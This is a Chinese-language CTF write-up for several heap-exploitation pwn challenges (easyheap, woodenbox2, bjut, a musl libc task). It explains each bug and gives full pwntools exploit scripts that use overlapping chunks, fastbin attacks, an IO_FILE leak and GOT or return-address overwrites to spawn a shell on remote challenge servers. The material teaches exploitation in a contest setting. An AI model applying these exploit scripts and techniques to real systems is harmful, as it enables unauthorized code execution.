easyheap 程序没开PIE,got表可写
漏洞点 ptr[v1]清零了,但*(void **)ptr[v1]没有清零。
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int sub_4009E4() { int v1; // [rsp+Ch] [rbp-4h] if ( ++dword_6020AC > 4 ) return puts("Delete failed."); puts("What is the index of the item to be deleted?"); v1 = sub_400890(); if ( v1 < 0 || v1 > 6 || !ptr[v1] ) return puts("Delete failed."); free(*(void **)ptr[v1]); free(ptr[v1]); ptr[v1] = 0LL; return puts("Delete successfully."); }
思路 首先申请俩次堆块都是0x10,然后free掉,看到add函数里是先进行malloc(0x10),然后在做check,然后再申请check(0x400),所以由于free之后会残留指针,在free掉俩个堆块之后,故意输入大数字让他check size fail直接返回,然后申请一个0x10的堆块就可以实现堆块重叠。通过edit前俩次的堆块来覆盖最后一次malloc的堆块的ptr指针来指向chunk_list的位置,然后伪造chunk结构指向got,并且show一下就可以知道libc了,然后修改free_got为system然后free一个内容为/bin/sh的堆块就可以开启shell。
exp
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import sys context.log_level = 'debug' #context.terminal = ['tmux', 'sp', '-h', '-l', '110'] if sys.argv[1]=="l": io=process('./easyheap') lib=ELF('/lib/x86_64-linux-gnu/libc.so.6') else: io=remote('121.36.209.145',9997) lib=ELF('/lib/x86_64-linux-gnu/libc.so.6') elf=ELF('./easyheap') def choice(idx): io.sendlineafter('Your choice:\n', str(idx)) def add(size, content): choice(1) io.sendafter('this message?\n', str(size)) if size< 0x400: io.sendafter('content of the message?\n', content) def dele(idx): choice(2) io.sendlineafter('deleted?\n',str(idx)) def edit(idx, content): choice(3) io.sendlineafter('modified?\n',str(idx)) io.sendafter('message?\n', content) # ------------------------------------------------ onegadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147] chunk_list=0x6020C0 # ------------------------------------------------ add(0x18,0x18 * "\x10") #0 add(0x18,0x18 * "\x11") #1 dele(0) add(0x500,'') dele(1) add(0x500,'') add(0x18,0x18 * '\x12') #2 edit(1,p64(0) + p64(0x18) + p64(chunk_list)) edit(2,p64(chunk_list + 8) + p64(chunk_list)) edit(0,p64(chunk_list + 8) + p64(chunk_list) + p64(chunk_list + 0x18) + p64(elf.got['free']) + p64(elf.got['__libc_start_main']) + p64(chunk_list + 0x30) + p64(elf.got['free']) + p64(elf.got['free'])) edit(2,p64(elf.plt['puts'])) dele(4) __libc_start_main = u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00')) libc = __libc_start_main - lib.symbols[b'__libc_start_main'] lib.address = libc system = lib.symbols['system'] binsh = lib.search("/bin/sh\x00").next() __dele_hook = lib.symbols['__free_hook'] __malloc_hook = lib.symbols['__malloc_hook'] __realloc_hook = lib.symbols['__realloc_hook'] edit(5,p64(system)) edit(0,p64(chunk_list + 8) + p64(binsh)) dele(0) io.interactive()
woodenbox2 got表可写,其余保护全开
漏洞点 change_item()函数里面没有对size做限制,堆溢出。
思路 题目难点在于没有输出功能,需要打io_file泄露libc基址。然后fastbin attack 打malloc_hook,这里onegadget失效,用realloc 调整偏移即可。 iofile泄露原理可参考EX师傅博客http://blog.eonew.cn/archives/1190
exp 成功率 16分之一
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import sys #context.log_level = 'debug' #context.terminal = ['tmux', 'sp', '-h', '-l', '110'] def exp(): try: if sys.argv[1]=="l": io=process('./woodenbox2') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') else: io=remote('121.36.215.224',9998) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') elf=ELF('./woodenbox2') def choice(idx): io.sendlineafter('Your choice:', str(idx)) def add(size, content): choice(1) io.sendlineafter(':', str(size)) io.sendafter(':', content) def free(idx): choice(3) io.sendlineafter(':',str(idx)) def edit(idx,size, content): choice(2) io.sendlineafter(':',str(idx)) io.sendlineafter(':',str(size)) io.sendafter(':', content) # ------------------------------------------------ iofile_off = [0x25dd,0xf5eb] #_IO_2_1_stderr_+157 onegadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147] # ------------------------------------------------ add(0x20,'aaaa')#0 add(0x40,'aaaa')#1 add(0x60,'aaaa')#2 add(0xa0,'aaaa')#3 edit(0,0x40,'a'*0x20+p64(0)+p64(0xc1)) free(1) #1 free(1) #2 add(0x40,'bbbb') #0 edit(0,0x60,'a'*0x40+p64(0)+p64(0x71)+p16(iofile_off[0])) add(0x60,'aaaa') # 2 add(0x60,'aaa'+p64(0)*6+p64(0xfbad1800)+p64(0)*3+"\x00") #3 io.recv(0x40) leak=u64(io.recv(8)) info(hex(leak)) libc.address = leak-(0x7f35bc64a600-0x7f35bc285000) log.success(hex(libc.address)) malloc_hook = libc.sym['__malloc_hook'] free_hook = libc.sym['__free_hook'] one = libc.address+onegadgets[1] log.success(hex(malloc_hook)) add(0x60,'cccc')#4 add(0x60,'dddd')#5 free(5) edit(0,0x100,0xa0*'\x17'+p64(0)+p64(0x71)+p64(malloc_hook-0x23)) add(0x60,'bbbb') add(0x60,'d'*0xb+p64(one)+p64(libc.symbols["realloc"]+13)) choice(1) io.sendlineafter(':', str(60)) io.interactive() except Exception as e: print(e) io.close() while True: exp()
bjut got表可写,pie没开
漏洞点 show 和 edit功能,可以输入负数,造成数组上溢。
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned __int64 edit() { int v1; // [rsp+4h] [rbp-Ch] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); puts("The index of your hw:"); __isoc99_scanf("%d", &v1); if ( v1 <= 15 && qword_404140[v1] ) { puts("Input your hw:"); read(0, qword_404140[v1], dword_4040E0[v1]); } else { puts("out of range!"); } return __readfsqword(0x28u) ^ v2; }
思路 通过数组上溢泄露free_got内容,然后修改 free_got为system,然后释放/bin/sh的堆块
exp musl 做这个题的时候当时是蒙的,使用的是musl libc跟平时的glibc有很大差异。其中最大的差异是muls不支持延迟绑定,没有 malloc_hook等 具体参考 https://my.oschina.net/u/2306127/blog/1592004
漏洞点 add功能有一次堆溢出的机会
思路 溢出修改size然后free造成overlapping free时检查了in_use和下一个chunk的prev_size,提前伪造好prev_size overlapping后再取出来,可以uaf,free chunk的链表头部在libc,uaf之后show泄露libc地址,然后edit把fd和bk改为0x602030,利用双向链表写fd bk的操作把一个堆地址写入0x602040,将heap_store劫持到堆上,实现任意地址读写 show和edit的次数有限制,但是可以通过任意地址读写覆盖计数器 got plt都不可写,没有hook 可以通过任意地址读写改写栈,getshell 利用任意地址读,读libc中的environ泄露栈地址,算出栈顶地址,然后利用任意地址写覆盖返回地址
exp
code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import sys context.log_level = 'debug' #context.terminal = ['tmux', 'sp', '-h', '-l', '110'] if sys.argv[1]=="l": r=process(['./libc.so','./carbon']) libc=ELF('libc.so') else: r=remote('119.3.158.103',19008) libc=ELF('libc.so') def add(size,data): r.recvuntil('>') r.sendline('1') r.recvuntil('What is your prefer size? >') r.sendline(str(size)) r.recvuntil('Are you a believer? >') r.sendline('wdnmd') r.recvuntil('Say hello to your new sleeve >') r.sendline(data) def gg_add(size,data): r.recvuntil('>') r.sendline('1') r.recvuntil('What is your prefer size? >') r.sendline(str(size)) r.recvuntil('Are you a believer? >') r.sendline('Y\x00') r.recvuntil('Say hello to your new sleeve >') r.sendline(data) def free(index): r.recvuntil('>') r.sendline('2') r.recvuntil('What is your sleeve ID? >') r.sendline(str(index)) def edit(index,data): r.recvuntil('>') r.sendline('3') r.recvuntil('What is your sleeve ID? >') r.sendline(str(index)) sleep(0.5) r.sendline(data) def show(index): r.recvuntil('>') r.sendline('4') r.recvuntil('What is your sleeve ID? >') r.sendline(str(index)) heap_store = 0x602030 #add-symbol-file libc.so 0x8000000 #x/64gx 0x82953b0 #x/20gx 0x00007fffff7e0000 add(0x10,'gg')#0 add(0x30,'gg')#1 add(0x50,p64(0)*6+p64(0x81)+p64(0xa1))#2 add(0x40,'gg')#3 add(0x20,'gg')#4 add(0x20,p64(0x40)+p64(heap_store))#5 free(0) gg_add(0x10,'a'*0x10+p64(0x21)+p64(0x81))#0 free(1) add(0x30,'gg')#1 add(0x30,'gg')#2 6 free(2) show(6) leak = u64(r.recvuntil('Done.',drop=True).ljust(8,'\x00')) info(hex(leak)) gdb.attach(r) pause() libc_base = leak-0x292ad8 log.success(hex(libc_base)) system = libc_base+libc.sym['system'] edit(6,p64(heap_store)*2) free(4) add(0x30,p64(heap_store))#pwn environ = libc_base+0x294FD8 log.success(hex(environ)) add(0x60,p64(0x71)+p64(environ)+p64(0x71)+p64(libc_base+0x8295570-0x8000000))# environ 9 edit(5,p64(0)) show(9) leak = u64(r.recvuntil('Done.',drop=True).ljust(8,'\x00')) stack_rsp = leak-0x118 log.success(hex(stack_rsp)) #gg_stack = 0x7ffffffee638 #print(hex(gg_stack-stack_rsp)) gg_stack = 0xa0+stack_rsp binsh = libc.search('/bin/sh\x00').next()+libc_base edit(10,p64(0x71)+p64(gg_stack)+'/bin/sh'.ljust(8,'\x00')+p64(0)+p64(0x41)+p64(binsh)) edit(5,p64(0)) #show(12) test libc_addr pause() menu = 0x400c2f flag = libc_base+0x8295580-0x8000000 pop_rdi_ret = libc_base+0x14862 pop_rsi_ret = libc_base+0x1c237 pop_rdx_ret = libc_base+0x1b92 puts_addr = libc_base+libc.sym['puts'] #edit(10,p64(menu)*10) edit(10,p64(menu)+p64(pop_rdi_ret)+p64(flag)+p64(system)+p64(menu)) r.interactive()